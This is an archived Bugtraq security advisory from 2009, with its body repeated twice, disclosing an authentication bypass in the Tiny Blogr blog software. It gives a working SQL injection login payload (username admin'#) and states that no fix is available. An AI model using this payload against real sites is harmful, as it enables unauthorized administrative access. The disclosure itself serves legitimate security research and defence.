Tiny Blogr 1.0.0 rc4 Authentication Bypass

To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, str0ke <str0ke@xxxxxxxxxxx>
Subject: Tiny Blogr 1.0.0 rc4 Authentication Bypass
From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
Date: Fri, 17 Apr 2009 14:30:46 +0200
Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=hWFHTkADInxLTQmFSp9xJvDgDO+clAchtMOItHCcKJs=; b=VpCBx2XJzAqO2DI9yMbfR/Nq/mFLVEii1hs9t1Hh73vkwWrxC1HYmpfgfpR1P5vBik jgXMj2T/Xda/6zSW/sH3WySzVLwIF5pT2q+Ulfge32vh38Gp4sNIduda0KEo5x44Q2l0 cbNgXl8QK86goE9KuHHhxs/e9V8nX6u8vaiyo=
Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=erncPFX9wxE2ZHMQkjgV0so7tw6RMcG7732v5dFoCwlgBCRUJULDd9kPdYGrbASQyg q42W4jN2GcmXBj1x9UN+mvPr3qvvX83o3Ci4J7L0DMrb13arlg/09cxqgQ01S5WhhjDP UpIjN7x6g9IreDkuhUFt87wZaLwPd6BXdYauw=
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Tiny Blogr
[+] Version: 1.0.0 rc4
[+] Website: http://tinyblogr.sourceforge.net

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 17 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: class.eport.php

This bug allows a guest to bypass the authentication
system.


*************************************************

[+] Code


- [A] Authenticaion Bypass

Username: admin'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Tiny Blogr
[+] Version: 1.0.0 rc4
[+] Website: http://tinyblogr.sourceforge.net

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 17 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: class.eport.php

This bug allows a guest to bypass the authentication
system.


*************************************************

[+] Code


- [A] Authenticaion Bypass

Username: admin'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

Prev by Date: rPSA-2009-0063-1 udev
Next by Date: [USN-760-1] CUPS vulnerability
Previous by thread: rPSA-2009-0063-1 udev
Next by thread: [USN-760-1] CUPS vulnerability
Index(es):
- Date
- Thread